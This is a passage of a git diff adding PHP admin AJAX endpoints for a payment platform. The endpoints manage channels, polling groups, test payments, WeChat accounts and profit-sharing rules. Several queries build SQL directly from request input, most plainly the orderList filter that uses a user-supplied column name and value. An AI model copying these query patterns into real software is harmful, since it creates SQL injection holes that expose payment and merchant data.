+ } + else exit('{"code":-1,"msg":"没有找到支持该支付方式的通道"}'); +break; +case 'getChannelsByPlugin': + $plugin = $_GET['plugin']; + if($plugin){ + $list=$DB->getAll("SELECT id,name FROM pre_channel WHERE plugin='$plugin' ORDER BY id ASC"); + }else{ + $list=$DB->getAll("SELECT id,name FROM pre_channel ORDER BY id ASC"); + } + if($list){ + $result = ['code'=>0,'msg'=>'succ','data'=>$list]; + exit(json_encode($result)); + } + else exit('{"code":-1,"msg":"没有找到支持该支付插件的通道"}'); +break; +case 'getSubChannels': + $channel = intval($_GET['channel']); + $uid = intval($_GET['uid']); + $sql = " channel='$channel'"; + if($uid > 0) $sql .= " AND uid='$uid'"; + $list=$DB->getAll("SELECT id,name,channel,apply_id FROM pre_subchannel WHERE{$sql} ORDER BY id ASC"); + $result = ['code'=>0,'msg'=>'succ','data'=>$list]; + exit(json_encode($result)); +break; +case 'setChannel': + $id=intval($_GET['id']); + $status=intval($_GET['status']); + $row=$DB->getRow("SELECT * FROM pre_channel WHERE id='$id'"); + if(!$row) + exit('{"code":-1,"msg":"当前支付通道不存在!"}'); + if($status==1 && empty($row['config'])){ + exit('{"code":-1,"msg":"请先配置好密钥后再开启"}'); + } + $sql = "UPDATE pre_channel SET status='$status' WHERE id='$id'"; + if($DB->exec($sql))exit('{"code":0,"msg":"修改支付通道成功!"}'); + else exit('{"code":-1,"msg":"修改支付通道失败['.$DB->error().']"}'); +break; +case 'delChannel': + $id=intval($_GET['id']); + $row=$DB->getRow("SELECT * FROM pre_channel WHERE id='$id'"); + if(!$row) + exit('{"code":-1,"msg":"当前支付通道不存在!"}'); + if($DB->find('psreceiver', '*', ['channel'=>$id])){ + exit('{"code":-1,"msg":"当前支付通道下有分账规则,需要先删除"}'); + } + if($DB->find('applychannel', '*', ['channel'=>$id])){ + exit('{"code":-1,"msg":"当前支付通道关联了进件渠道,无法删除"}'); + } + $sql = "DELETE FROM pre_channel WHERE id='$id'"; + if($DB->exec($sql)){ + $DB->exec("DELETE FROM pre_subchannel WHERE channel='$id'"); + exit('{"code":0,"msg":"删除支付通道成功!"}'); + } + else exit('{"code":-1,"msg":"删除支付通道失败['.$DB->error().']"}'); +break; +case 'saveChannel': + if($_POST['action'] == 'add'){ + $name=trim($_POST['name']); + $rate=trim($_POST['rate']); + $costrate=trim($_POST['costrate']); + $type=intval($_POST['type']); + $plugin=trim($_POST['plugin']); + $daytop=intval($_POST['daytop']); + $mode=intval($_POST['mode']); + $paymin=trim($_POST['paymin']); + $paymax=trim($_POST['paymax']); + if(!preg_match('/^[0-9.]+$/',$rate)){ + exit('{"code":-1,"msg":"分成比例不符合规则"}'); + } + if(!empty($costrate) && !preg_match('/^[0-9.]+$/',$costrate)){ + exit('{"code":-1,"msg":"通道成本不符合规则"}'); + } + if($paymin && !preg_match('/^[0-9.]+$/',$paymin)){ + exit('{"code":-1,"msg":"最小支付金额不符合规则"}'); + } + if($paymax && !preg_match('/^[0-9.]+$/',$paymax)){ + exit('{"code":-1,"msg":"最大支付金额不符合规则"}'); + } + $row=$DB->getRow("SELECT * FROM pre_channel WHERE name='$name' LIMIT 1"); + if($row) + exit('{"code":-1,"msg":"支付通道名称重复"}'); + $data = ['name'=>$name, 'rate'=>$rate, 'costrate'=>$costrate, 'mode'=>$mode, 'type'=>$type, 'plugin'=>$plugin, 'daytop'=>$daytop, 'paymin'=>$paymin, 'paymax'=>$paymax]; + if($DB->insert('channel', $data))exit('{"code":0,"msg":"新增支付通道成功!"}'); + else exit('{"code":-1,"msg":"新增支付通道失败['.$DB->error().']"}'); + }elseif($_POST['action'] == 'copy'){ + $id=intval($_POST['id']); + $row=$DB->getRow("SELECT * FROM pre_channel WHERE id='$id'"); + if(!$row) exit('{"code":-1,"msg":"当前支付通道不存在!"}'); + $name=trim($_POST['name']); + $rate=trim($_POST['rate']); + $costrate=trim($_POST['costrate']); + $type=intval($_POST['type']); + $plugin=trim($_POST['plugin']); + $daytop=intval($_POST['daytop']); + $mode=intval($_POST['mode']); + $paymin=trim($_POST['paymin']); + $paymax=trim($_POST['paymax']); + if(!preg_match('/^[0-9.]+$/',$rate)){ + exit('{"code":-1,"msg":"分成比例不符合规则"}'); + } + if(!empty($costrate) && !preg_match('/^[0-9.]+$/',$costrate)){ + exit('{"code":-1,"msg":"通道成本不符合规则"}'); + } + if($paymin && !preg_match('/^[0-9.]+$/',$paymin)){ + exit('{"code":-1,"msg":"最小支付金额不符合规则"}'); + } + if($paymax && !preg_match('/^[0-9.]+$/',$paymax)){ + exit('{"code":-1,"msg":"最大支付金额不符合规则"}'); + } + $nrow=$DB->getRow("SELECT * FROM pre_channel WHERE name='$name' LIMIT 1"); + if($nrow) + exit('{"code":-1,"msg":"支付通道名称重复"}'); + $data = ['name'=>$name, 'rate'=>$rate, 'costrate'=>$costrate, 'mode'=>$mode, 'type'=>$type, 'plugin'=>$plugin, 'daytop'=>$daytop, 'paymin'=>$paymin, 'paymax'=>$paymax, 'config'=>$row['config'], 'apptype'=>$row['apptype'], 'appwxmp'=>$row['appwxmp'], 'appwxa'=>$row['appwxa']]; + if($DB->insert('channel', $data))exit('{"code":0,"msg":"复制支付通道成功!"}'); + else exit('{"code":-1,"msg":"复制支付通道失败['.$DB->error().']"}'); + }elseif($_POST['action'] == 'edit'){ + $id=intval($_POST['id']); + $row=$DB->getRow("SELECT * FROM pre_channel WHERE id='$id'"); + if(!$row) exit('{"code":-1,"msg":"当前支付通道不存在!"}'); + $name=trim($_POST['name']); + $rate=trim($_POST['rate']); + $costrate=trim($_POST['costrate']); + $type=intval($_POST['type']); + $plugin=trim($_POST['plugin']); + $daytop=intval($_POST['daytop']); + $mode=intval($_POST['mode']); + $paymin=trim($_POST['paymin']); + $paymax=trim($_POST['paymax']); + if(!preg_match('/^[0-9.]+$/',$rate)){ + exit('{"code":-1,"msg":"分成比例不符合规则"}'); + } + if(!empty($costrate) && !preg_match('/^[0-9.]+$/',$costrate)){ + exit('{"code":-1,"msg":"通道成本不符合规则"}'); + } + if($paymin && !preg_match('/^[0-9.]+$/',$paymin)){ + exit('{"code":-1,"msg":"最小支付金额不符合规则"}'); + } + if($paymax && !preg_match('/^[0-9.]+$/',$paymax)){ + exit('{"code":-1,"msg":"最大支付金额不符合规则"}'); + } + $nrow=$DB->getRow("SELECT * FROM pre_channel WHERE name='$name' AND id<>$id LIMIT 1"); + if($nrow) + exit('{"code":-1,"msg":"支付通道名称重复"}'); + $data = ['name'=>$name, 'rate'=>$rate, 'costrate'=>$costrate, 'mode'=>$mode, 'type'=>$type, 'plugin'=>$plugin, 'daytop'=>$daytop, 'paymin'=>$paymin, 'paymax'=>$paymax]; + if($DB->update('channel', $data, ['id'=>$id])!==false){ + if($row['daystatus']==1 && ($daytop==0 || $daytop>$row['daytop'])){ + $DB->exec("UPDATE pre_channel SET daystatus=0 WHERE id='$id'"); + } + exit('{"code":0,"msg":"修改支付通道成功!"}'); + }else exit('{"code":-1,"msg":"修改支付通道失败['.$DB->error().']"}'); + } +break; +case 'channelInfo': + $id=intval($_GET['id']); + $row=$DB->getRow("SELECT * FROM pre_channel WHERE id='$id'"); + if(!$row) + exit('{"code":-1,"msg":"当前支付通道不存在!"}'); + $typename = $DB->getColumn("SELECT name FROM pre_type WHERE id='{$row['type']}'"); + //if($row['mode']>0){ + // exit('{"code":-1,"msg":"当前通道为商户直清模式,请进入用户列表-编辑-接口密钥进行配置"}'); + //} + $apptype = explode(',',$row['apptype']); + $plugin = \lib\Plugin::getConfig($row['plugin']); + if(!$plugin) + exit('{"code":-1,"msg":"当前支付插件不存在!"}'); + + $data = ''; + $result=array("code"=>0,"msg"=>"succ","data"=>$data); + exit(json_encode($result)); +break; +case 'saveChannelInfo': + $id=intval($_GET['id']); + $config=isset($_POST['config'])?$_POST['config']:null; + $appwxmp=isset($_POST['appwxmp'])?intval($_POST['appwxmp']):null; + $appwxa=isset($_POST['appwxa'])?intval($_POST['appwxa']):null; + if(isset($_POST['isapptype'])){ + if(!isset($_POST['apptype']) || count($_POST['apptype'])<=0)exit('{"code":-1,"msg":"请至少选择一个可用的支付接口"}'); + $apptype=implode(',',$_POST['apptype']); + }else{ + $apptype=null; + } + if(empty($config)) exit('{"code":-1,"msg":"填写的内容不能为空"}'); + $config = json_encode($config); + $data = ['config'=>$config, 'apptype'=>$apptype, 'appwxmp'=>$appwxmp, 'appwxa'=>$appwxa]; + if($DB->update('channel', $data, ['id'=>$id])!==false)exit('{"code":0,"msg":"修改支付密钥成功!"}'); + else exit('{"code":-1,"msg":"修改支付密钥失败['.$DB->error().']"}'); +break; +case 'getRoll': + $id=intval($_GET['id']); + $row=$DB->getRow("select * from pre_roll where id='$id' limit 1"); + if(!$row) + exit('{"code":-1,"msg":"当前轮询组不存在!"}'); + $result = ['code'=>0,'msg'=>'succ','data'=>$row]; + exit(json_encode($result)); +break; +case 'setRoll': + $id=intval($_GET['id']); + $status=intval($_GET['status']); + $row=$DB->getRow("select * from pre_roll where id='$id' limit 1"); + if(!$row) + exit('{"code":-1,"msg":"当前轮询组不存在!"}'); + if($status==1 && empty($row['info'])){ + exit('{"code":-1,"msg":"请先配置好支付通道后再开启"}'); + } + $sql = "UPDATE pre_roll SET status='$status' WHERE id='$id'"; + if($DB->exec($sql))exit('{"code":0,"msg":"修改轮询组成功!"}'); + else exit('{"code":-1,"msg":"修改轮询组失败['.$DB->error().']"}'); +break; +case 'delRoll': + $id=intval($_GET['id']); + $row=$DB->getRow("select * from pre_roll where id='$id' limit 1"); + if(!$row) + exit('{"code":-1,"msg":"当前轮询组不存在!"}'); + $sql = "DELETE FROM pre_roll WHERE id='$id'"; + if($DB->exec($sql))exit('{"code":0,"msg":"删除轮询组成功!"}'); + else exit('{"code":-1,"msg":"删除轮询组失败['.$DB->error().']"}'); +break; +case 'saveRoll': + if($_POST['action'] == 'add'){ + $name=trim($_POST['name']); + $type=intval($_POST['type']); + $kind=intval($_POST['kind']); + $row=$DB->getRow("select * from pre_roll where name='$name' limit 1"); + if($row) + exit('{"code":-1,"msg":"轮询组名称重复"}'); + $sql = "INSERT INTO pre_roll (name, type, kind) VALUES ('{$name}', {$type}, {$kind})"; + if($DB->exec($sql))exit('{"code":0,"msg":"新增轮询组成功!"}'); + else exit('{"code":-1,"msg":"新增轮询组失败['.$DB->error().']"}'); + }else{ + $id=intval($_POST['id']); + $name=trim($_POST['name']); + $type=intval($_POST['type']); + $kind=intval($_POST['kind']); + $row=$DB->getRow("select * from pre_roll where name='$name' and id<>$id limit 1"); + if($row) + exit('{"code":-1,"msg":"轮询组名称重复"}'); + $sql = "UPDATE pre_roll SET name='{$name}',type='{$type}',kind='{$kind}' WHERE id='$id'"; + if($DB->exec($sql)!==false)exit('{"code":0,"msg":"修改轮询组成功!"}'); + else exit('{"code":-1,"msg":"修改轮询组失败['.$DB->error().']"}'); + } +break; +case 'rollInfo': + $id=intval($_GET['id']); + $row=$DB->getRow("select * from pre_roll where id='$id' limit 1"); + if(!$row) + exit('{"code":-1,"msg":"当前轮询组不存在!"}'); + $list=$DB->getAll("select id,name from pre_channel where type='{$row['type']}' and status=1 ORDER BY id ASC"); + if(!$list)exit('{"code":-1,"msg":"没有找到支持该支付方式的通道"}'); + if(!empty($row['info'])){ + $arr = explode(',',$row['info']); + $info = []; + foreach($arr as $item){ + $a = explode(':',$item); + $info[] = ['channel'=>$a[0], 'weight'=>$a[1]?$a[1]:1]; + } + }else{ + $info = null; + } + $result=array("code"=>0,"msg"=>"succ","channels"=>$list,"info"=>$info); + exit(json_encode($result)); +break; +case 'saveRollInfo': + $id=intval($_GET['id']); + $row=$DB->getRow("select * from pre_roll where id='$id' limit 1"); + if(!$row) + exit('{"code":-1,"msg":"当前轮询组不存在!"}'); + $list=$_POST['list']; + if(empty($list)) + exit('{"code":-1,"msg":"通道配置不能为空!"}'); + $info = ''; + foreach($list as $a){ + $info .= $row['kind']==1 ? $a['channel'].':'.$a['weight'].',' : $a['channel'].','; + } + $info = trim($info,','); + if(empty($info)) + exit('{"code":-1,"msg":"通道配置不能为空!"}'); + $sql = "UPDATE pre_roll SET info='{$info}' WHERE id='$id'"; + if($DB->exec($sql)!==false)exit('{"code":0,"msg":"修改轮询组成功!"}'); + else exit('{"code":-1,"msg":"修改轮询组失败['.$DB->error().']"}'); +break; + +case 'getChannelMoney': //统计支付通道金额 + $type=intval($_GET['type']); + $channel=intval($_GET['channel']); + $today=$type==1 ? date("Y-m-d", strtotime("-1 day")) : date("Y-m-d"); + $money=$DB->getColumn("SELECT SUM(realmoney) FROM pre_order WHERE date='$today' AND channel='$channel' AND status>0"); + exit('{"code":0,"msg":"succ","money":"'.round($money,2).'"}'); +break; +case 'getSubChannelMoney': //统计子通道金额 + $type=intval($_GET['type']); + $channel=trim($_GET['channel']); + $today=$type==1 ? date("Y-m-d", strtotime("-1 day")) : date("Y-m-d"); + $channel = explode('|', $channel); + $channel = array_map('intval', $channel); + $money=$DB->getColumn("SELECT SUM(realmoney) FROM pre_order WHERE date='$today' AND subchannel IN (".implode(",", $channel).") AND status>0"); + exit('{"code":0,"msg":"succ","money":"'.round($money,2).'"}'); +break; +case 'getTypeMoney': //统计支付方式金额 + $type=intval($_GET['type']); + $typeid=intval($_GET['typeid']); + $today=$type==1 ? date("Y-m-d", strtotime("-1 day")) : date("Y-m-d"); + $money=$DB->getColumn("SELECT SUM(realmoney) FROM pre_order WHERE date='$today' AND type='$typeid' AND status>0"); + exit('{"code":0,"msg":"succ","money":"'.round($money,2).'"}'); +break; +case 'getChannelRate': + $channel=intval($_GET['channel']); + $thtime = date("Y-m-d").' 00:00:00'; + $all = 0; + $success = 0; + $orders=$DB->getAll("SELECT * FROM pre_order WHERE addtime>='$thtime' AND channel='$channel'"); + foreach($orders as $order){ + $all++; + if($order['status']>0)$success++; + } + $rate = $all > 0 ? round($success*100/$all, 2) : 0; + exit('{"code":0,"msg":"succ","rate":"'.$rate.'"}'); +break; +case 'getSuccessRate': + $channel = intval($_GET['channel']); + $thtime = date("Y-m-d"); + $orderrow=$DB->getRow("SELECT COUNT(*) allnum,COUNT(IF(status>0, 1, NULL)) sucnum FROM pre_order WHERE addtime>='$thtime' AND channel='$channel'"); + $success_rate = $orderrow && $orderrow['allnum'] > 0 ? round($orderrow['sucnum']/$orderrow['allnum']*100,2) : 100; + exit('{"code":0,"msg":"succ","data":"' . $success_rate . '"}'); +break; + +case 'testpay': + $channel=intval($_POST['channel']); + $subchannel=intval($_POST['subchannel']); + $row=$DB->getRow("select * from pre_channel where id='$channel' limit 1"); + if(!$row) + exit('{"code":-1,"msg":"当前支付通道不存在!"}'); + if($subchannel > 0){ + if(!$DB->getRow("select * from pre_subchannel where id='$subchannel' limit 1")) exit('{"code":-1,"msg":"当前子通道不存在!"}'); + } + if(empty($row['config']))exit('{"code":-1,"msg":"请先配置好密钥"}'); + if(!$conf['test_pay_uid'])exit('{"code":-1,"msg":"请先配置测试支付收款商户ID"}'); + $money=trim(daddslashes($_POST['money'])); + $name=trim(daddslashes($_POST['name'])); + if($money<=0 || !is_numeric($money) || !preg_match('/^[0-9.]+$/', $money))exit('{"code":-1,"msg":"金额不合法"}'); + if($conf['pay_maxmoney']>0 && $money>$conf['pay_maxmoney'])exit('{"code":-1,"msg":"最大支付金额是'.$conf['pay_maxmoney'].'元"}'); + if($conf['pay_minmoney']>0 && $money<$conf['pay_minmoney'])exit('{"code":-1,"msg":"最小支付金额是'.$conf['pay_minmoney'].'元"}'); + $trade_no=date("YmdHis").rand(11111,99999); + $return_url=$siteurl.'user/test.php?ok=1&trade_no='.$trade_no; + $domain=getdomain($return_url); + if(!$DB->exec("INSERT INTO `pre_order` (`trade_no`,`out_trade_no`,`uid`,`tid`,`addtime`,`name`,`money`,`type`,`channel`,`subchannel`,`realmoney`,`getmoney`,`notify_url`,`return_url`,`domain`,`ip`,`status`) VALUES (:trade_no, :out_trade_no, :uid, 3, NOW(), :name, :money, :type, :channel, :subchannel, :realmoney, :getmoney, :notify_url, :return_url, :domain, :clientip, 0)", [':trade_no'=>$trade_no, ':out_trade_no'=>$trade_no, ':uid'=>$conf['test_pay_uid'], ':name'=>$name, ':money'=>$money, ':type'=>$row['type'], ':channel'=>$channel, ':subchannel'=>$subchannel, ':realmoney'=>$money, ':getmoney'=>$money, ':notify_url'=>$return_url, ':return_url'=>$return_url, ':domain'=>$domain, ':clientip'=>$clientip]))exit('{"code":-1,"msg":"创建订单失败,请返回重试!"}'); + $result = ['code'=>0, 'msg'=>'succ', 'url'=>'./testsubmit.php?trade_no='.$trade_no]; + exit(json_encode($result)); +break; + +case 'getWeixin': + $id=intval($_GET['id']); + $row=$DB->getRow("select * from pre_weixin where id='$id' limit 1"); + if(!$row) + exit('{"code":-1,"msg":"当前公众号/小程序不存在!"}'); + $result = ['code'=>0,'msg'=>'succ','data'=>$row]; + exit(json_encode($result)); +break; +case 'delWeixin': + $id=intval($_GET['id']); + $row=$DB->getRow("select * from pre_weixin where id='$id' limit 1"); + if(!$row) + exit('{"code":-1,"msg":"当前公众号/小程序不存在!"}'); + $row=$DB->getRow("select * from pre_channel where appwxmp='$id' limit 1"); + if($row) + exit('{"code":-1,"msg":"删除失败,存在使用该微信公众号的支付通道"}'); + $row=$DB->getRow("select * from pre_channel where appwxa='$id' limit 1"); + if($row) + exit('{"code":-1,"msg":"删除失败,存在使用该微信小程序的支付通道"}'); + $sql = "DELETE FROM pre_weixin WHERE id='$id'"; + if($DB->exec($sql)){ + exit('{"code":0,"msg":"删除公众号/小程序成功!"}'); + }else exit('{"code":-1,"msg":"删除公众号/小程序失败['.$DB->error().']"}'); +break; +case 'saveWeixin': + if($_POST['action'] == 'add'){ + $type=intval($_POST['type']); + $name=trim($_POST['name']); + $appid=trim($_POST['appid']); + $appsecret=trim($_POST['appsecret']); + $row=$DB->getRow("select * from pre_weixin where name='$name' limit 1"); + if($row) + exit('{"code":-1,"msg":"名称重复"}'); + $row=$DB->getRow("select * from pre_weixin where appid='$appid' limit 1"); + if($row) + exit('{"code":-1,"msg":"APPID重复"}'); + if($DB->insert('weixin', ['type'=>$type, 'name'=>$name, 'appid'=>$appid, 'appsecret'=>$appsecret, 'status'=>1, 'addtime'=>'NOW()']))exit('{"code":0,"msg":"新增公众号/小程序成功!"}'); + else exit('{"code":-1,"msg":"新增公众号/小程序失败['.$DB->error().']"}'); + }else{ + $id=intval($_POST['id']); + $type=intval($_POST['type']); + $name=trim($_POST['name']); + $appid=trim($_POST['appid']); + $appsecret=trim($_POST['appsecret']); + $row=$DB->getRow("select * from pre_weixin where name='$name' and id<>$id limit 1"); + if($row) + exit('{"code":-1,"msg":"名称重复"}'); + $row=$DB->getRow("select * from pre_weixin where appid='$appid' and id<>$id limit 1"); + if($row) + exit('{"code":-1,"msg":"APPID重复"}'); + if($DB->update('weixin', ['type'=>$type, 'name'=>$name, 'appid'=>$appid, 'appsecret'=>$appsecret], ['id'=>$id])!==false)exit('{"code":0,"msg":"修改公众号/小程序成功!"}'); + else exit('{"code":-1,"msg":"修改公众号/小程序失败['.$DB->error().']"}'); + } +break; +case 'testweixin': + $id=intval($_POST['id']); + $row=$DB->getRow("select * from pre_weixin where id='$id' limit 1"); + if(!$row) + exit('{"code":-1,"msg":"当前公众号/小程序不存在!"}'); + try{ + $wechat = new \lib\wechat\WechatAPI($id); + $access_token = $wechat->getAccessToken(true); + }catch(Exception $e){ + exit('{"code":-1,"msg":"'.$e->getMessage().'"}'); + } + exit('{"code":0,"msg":"接口连接测试成功!"}'); +break; + +case 'getWework': + $id=intval($_GET['id']); + $row=$DB->getRow("select * from pre_wework where id='$id' limit 1"); + if(!$row) + exit('{"code":-1,"msg":"当前企业微信不存在!"}'); + $result = ['code'=>0,'msg'=>'succ','data'=>$row]; + exit(json_encode($result)); +break; +case 'setWework': + $id=intval($_GET['id']); + $status=intval($_GET['status']); + $row=$DB->getRow("select * from pre_wework where id='$id' limit 1"); + if(!$row) + exit('{"code":-1,"msg":"当前企业微信不存在!"}'); + $sql = "UPDATE pre_wework SET status='$status' WHERE id='$id'"; + if($DB->exec($sql))exit('{"code":0,"msg":"修改企业微信成功!"}'); + else exit('{"code":-1,"msg":"修改企业微信失败['.$DB->error().']"}'); +break; +case 'delWework': + $id=intval($_GET['id']); + $row=$DB->getRow("select * from pre_wework where id='$id' limit 1"); + if(!$row) + exit('{"code":-1,"msg":"当前企业微信不存在!"}'); + if($DB->delete('wework', ['id'=>$id])){ + $DB->delete('wxkfaccount', ['wid'=>$id]); + exit('{"code":0,"msg":"删除企业微信成功!"}'); + }else exit('{"code":-1,"msg":"删除企业微信失败['.$DB->error().']"}'); +break; +case 'saveWework': + if($_POST['action'] == 'add'){ + $name=trim($_POST['name']); + $appid=trim($_POST['appid']); + $appsecret=trim($_POST['appsecret']); + $row=$DB->getRow("select * from pre_wework where name='$name' limit 1"); + if($row) + exit('{"code":-1,"msg":"名称重复"}'); + $row=$DB->getRow("select * from pre_wework where appid='$appid' limit 1"); + if($row) + exit('{"code":-1,"msg":"企业ID重复"}'); + if($DB->insert('wework', ['name'=>$name, 'appid'=>$appid, 'appsecret'=>$appsecret, 'status'=>1, 'addtime'=>'NOW()']))exit('{"code":0,"msg":"新增企业微信成功!请点击刷新客服账号数量"}'); + else exit('{"code":-1,"msg":"新增企业微信失败['.$DB->error().']"}'); + }else{ + $id=intval($_POST['id']); + $name=trim($_POST['name']); + $appid=trim($_POST['appid']); + $appsecret=trim($_POST['appsecret']); + $row=$DB->getRow("select * from pre_wework where name='$name' and id<>$id limit 1"); + if($row) + exit('{"code":-1,"msg":"名称重复"}'); + $row=$DB->getRow("select * from pre_wework where appid='$appid' and id<>$id limit 1"); + if($row) + exit('{"code":-1,"msg":"企业ID重复"}'); + if($DB->update('wework', ['name'=>$name, 'appid'=>$appid, 'appsecret'=>$appsecret], ['id'=>$id])!==false)exit('{"code":0,"msg":"修改企业微信成功!"}'); + else exit('{"code":-1,"msg":"修改企业微信失败['.$DB->error().']"}'); + } +break; +case 'refreshWework': + $id=intval($_POST['id']); + $row=$DB->getRow("select * from pre_wework where id='$id' limit 1"); + if(!$row) + exit('{"code":-1,"msg":"当前企业微信不存在!"}'); + $wework = new \lib\wechat\WeWorkAPI($id); + try{ + $account_list = $wework->getKFList(); + if(count($account_list) == 0){ + exit('{"code":-1,"msg":"没有添加客服账号"}'); + } + $account_data = $DB->findAll('wxkfaccount', 'id,openkfid', ['wid'=>$id]); + foreach($account_list as $account){ + $isExsist = false; + foreach($account_data as $find){ + if($find['openkfid'] == $account['open_kfid']){ + $isExsist = true;break; + } + } + if(!$isExsist){ + $DB->insert('wxkfaccount', ['wid'=>$id, 'openkfid'=>$account['open_kfid'], 'name'=>$account['name'], 'addtime'=>'NOW()']); + } + } + foreach($account_data as $account){ + $isExsist = false; + foreach($account_list as $find){ + if($find['open_kfid'] == $account['openkfid']){ + $isExsist = true;break; + } + } + if(!$isExsist){ + $DB->delete('wxkfaccount', ['id'=>$account['id']]); + } + } + exit(json_encode(['code'=>0, 'msg'=>'成功获取到'.count($account_list).'个客服账号'])); + }catch(Exception $e){ + exit('{"code":-1,"msg":"'.$e->getMessage().'"}'); + } +break; +case 'testWework': + $id=intval($_POST['id']); + $row=$DB->getRow("select * from pre_wework where id='$id' limit 1"); + if(!$row) + exit('{"code":-1,"msg":"当前企业微信不存在!"}'); + $wework = new \lib\wechat\WeWorkAPI($id); + try{ + $access_token = $wework->getAccessToken(true); + }catch(Exception $e){ + exit('{"code":-1,"msg":"'.$e->getMessage().'"}'); + } + exit('{"code":0,"msg":"接口连接测试成功!"}'); +break; + +default: + exit('{"code":-4,"msg":"No Act"}'); +break; +} \ No newline at end of file diff --git a/admin/ajax_profitsharing.php b/admin/ajax_profitsharing.php new file mode 100644 index 0000000..25ce665 --- /dev/null +++ b/admin/ajax_profitsharing.php @@ -0,0 +1,306 @@ +window.location.href='./login.php';"); +$act=isset($_GET['act'])?daddslashes($_GET['act']):null; + +if(!checkRefererHost())exit('{"code":403}'); + +@header('Content-Type: application/json; charset=UTF-8'); + +switch($act){ + +case 'orderList': + $sql=" 1=1"; + if(isset($_POST['rid']) && !empty($_POST['rid'])) { + $rid = intval($_POST['rid']); + $sql.=" AND A.`rid`='$rid'"; + } + if(isset($_POST['dstatus']) && $_POST['dstatus']>-1) { + $dstatus = intval($_POST['dstatus']); + $sql.=" AND A.`status`={$dstatus}"; + } + if(!empty($_POST['starttime']) || !empty($_POST['endtime'])){ + if(!empty($_POST['starttime'])){ + $starttime = daddslashes($_POST['starttime']); + $sql.=" AND A.addtime>='{$starttime} 00:00:00'"; + } + if(!empty($_POST['endtime'])){ + $endtime = daddslashes($_POST['endtime']); + $sql.=" AND A.addtime<='{$endtime} 23:59:59'"; + } + } + if(isset($_POST['value']) && !empty($_POST['value'])) { + $sql.=" AND A.`{$_POST['column']}`='{$_POST['value']}'"; + } + $offset = intval($_POST['offset']); + $limit = intval($_POST['limit']); + $total = $DB->getColumn("SELECT count(*) from pre_psorder A LEFT JOIN pre_psreceiver B ON A.rid=B.id LEFT JOIN pre_channel C ON B.channel=C.id WHERE{$sql}"); + $list = $DB->getAll("SELECT A.*,C.id channelid,C.name channelname FROM pre_psorder A LEFT JOIN pre_psreceiver B ON A.rid=B.id LEFT JOIN pre_channel C ON B.channel=C.id WHERE{$sql} order by A.id desc limit $offset,$limit"); + + exit(json_encode(['total'=>$total, 'rows'=>$list])); +break; + +case 'get_receiver': + $id=intval($_GET['id']); + $row=$DB->find('psreceiver', '*', ['id'=>$id]); + if(!$row) exit('{"code":-1,"msg":"当前分账规则不存在!"}'); + exit(json_encode(['code'=>0, 'data'=>$row])); +break; + +case 'add_receiver': + $data = [ + 'channel' => intval($_POST['channel']), + 'uid' => !empty($_POST['uid'])?intval($_POST['uid']):null, + 'subchannel' => !empty($_POST['subchannel']) ? intval($_POST['subchannel']) : null, + 'account' => trim($_POST['account']), + 'name' => trim($_POST['name']), + 'rate' => !empty($_POST['rate'])?trim($_POST['rate']):'30', + 'minmoney' => trim($_POST['minmoney']), + 'status' => 0, + 'addtime' => 'NOW()' + ]; + if(!$data['channel'] || !$data['account'])exit('{"code":-1,"msg":"必填项不能为空"}'); + if(!empty($data['uid']) && !$DB->find('user', 'uid', ['uid'=>$data['uid']]))exit('{"code":-1,"msg":"商户ID不存在"}'); + if(!\lib\Channel::get($data['channel']))exit('{"code":-1,"msg":"支付通道不存在"}'); + if(!strpos($data['rate'], '|') && $data['rate'] > 100) exit('{"code":-1,"msg":"分账比例不能大于100"}'); + $rows = $DB->getRow("SELECT * FROM `pre_psreceiver` WHERE `channel`='{$data['channel']}' AND ".($data['uid']?"`uid`='{$data['uid']}'":"`uid` IS NULL").""); + if($rows)exit('{"code":-1,"msg":"该支付通道&UID已存在分账规则,每次支付只能同时给1个人分账"}'); + if($DB->insert('psreceiver', $data)){ + exit('{"code":0,"msg":"新增分账规则成功!"}'); + }else{ + exit('{"code":-1,"msg":"新增分账规则失败['.$DB->error().']"}'); + } +break; + +case 'edit_receiver': + $id=intval($_POST['id']); + $row=$DB->find('psreceiver', '*', ['id'=>$id]); + if(!$row) exit('{"code":-1,"msg":"当前分账规则不存在!"}'); + $data = [ + 'channel' => intval($_POST['channel']), + 'uid' => !empty($_POST['uid'])?intval($_POST['uid']):null, + 'subchannel' => !empty($_POST['subchannel']) ? intval($_POST['subchannel']) : null, + 'account' => trim($_POST['account']), + 'name' => trim($_POST['name']), + 'rate' => !empty($_POST['rate'])?trim($_POST['rate']):30, + 'minmoney' => trim($_POST['minmoney']), + ]; + if(!$data['channel'] || !$data['account'])exit('{"code":-1,"msg":"必填项不能为空"}'); + if(!empty($data['uid']) && !$DB->find('user', 'uid', ['uid'=>$data['uid']]))exit('{"code":-1,"msg":"商户ID不存在"}'); + if(!\lib\Channel::get($data['channel']))exit('{"code":-1,"msg":"支付通道不存在"}'); + if(!strpos($data['rate'], '|') && $data['rate'] > 100) exit('{"code":-1,"msg":"分账比例不能大于100"}'); + $rows = $DB->getRow("SELECT * FROM `pre_psreceiver` WHERE `channel`='{$data['channel']}' AND ".($data['uid']?"`uid`='{$data['uid']}'":"`uid` IS NULL")." AND id!='$id'"); + if($rows)exit('{"code":-1,"msg":"该支付通道&UID已存在分账规则,每次支付只能同时给1个人分账"}'); + if($row['status']==1 && $data['channel'] != $row['channel']){ + exit('{"code":-1,"msg":"请先将状态改为已关闭再切换通道"}'); + } + if($row['status']==1 && ($data['account']!=$row['account'] || $data['name']!=$row['name'] || $data['channel']!=$row['channel'])){ + $channel = $row['subchannel'] > 0 ? \lib\Channel::getSub($row['subchannel']) : \lib\Channel::get($row['channel'], $row['uid']?$DB->findColumn('user', 'channelinfo', ['uid'=>$row['uid']]):null); + if($channel){ + $model = \lib\ProfitSharing\CommUtil::getModel($channel); + $model->deleteReceiver($row['account'], $row['name']); + $result = $model->addReceiver($data['account'], $data['name']); + if($result['code'] != 0) exit(json_encode($result)); + } + } + if($DB->update('psreceiver', $data, ['id'=>$id])!==false){ + exit('{"code":0,"msg":"修改分账规则成功!"}'); + }else{ + exit('{"code":-1,"msg":"修改分账规则失败['.$DB->error().']"}'); + } +break; + +case 'set_receiver': + $id=intval($_POST['id']); + $status=intval($_POST['status']); + $row=$DB->find('psreceiver', '*', ['id'=>$id]); + if(!$row) exit('{"code":-1,"msg":"当前分账规则不存在!"}'); + $channel = $row['subchannel'] > 0 ? \lib\Channel::getSub($row['subchannel']) : \lib\Channel::get($row['channel'], $row['uid']?$DB->findColumn('user', 'channelinfo', ['uid'=>$row['uid']]):null); + if(!$channel) exit('{"code":-1,"msg":"当前支付通道不存在!"}'); + $model = 